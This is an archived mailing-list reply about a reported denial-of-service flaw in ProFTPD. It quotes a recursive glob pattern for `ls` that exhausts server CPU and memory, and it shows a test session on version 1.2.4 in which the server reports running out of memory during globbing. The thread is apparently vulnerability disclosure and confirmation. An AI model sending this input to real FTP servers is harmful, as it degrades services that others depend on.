Vulnerability Development: Re: proftp DoS in debian stable?

[Felipe Franciosi <franciozzy () terra com br>]

> `ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*` results
> in 100% of the CPU and memory resources are consumed.
> Can anyone confirm the same behaviour on their system?
Slackware 8.0 with kernel 2.2.19 and proftpd 1.2.4 running trought
inetd says the following:

root () stonehenge:~# ftp 0
Connected to 0.
220 ProFTPD 1.2.4 Server (Paradoxo Networking) [stonehenge.paradoxo.org]
Name (0:ozzy): pp0010
331 Password required for pp0010.
Password: 
230 Anonymous access granted, restrictions apply.
ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
226-Out of memory during globbing of */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
226 Transfer complete.
ftp> quit
221 Goodbye.

And nothing happens.

Best Regards,
Felipe

--
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 Felipe Franciosi        paradoxo networking
 felipe () paradoxo org                  Brazil
 http://www.paradoxo.org   Porto Alegre - RS
 Phone: (55)(51) 9806 7387    UIN - 33596050
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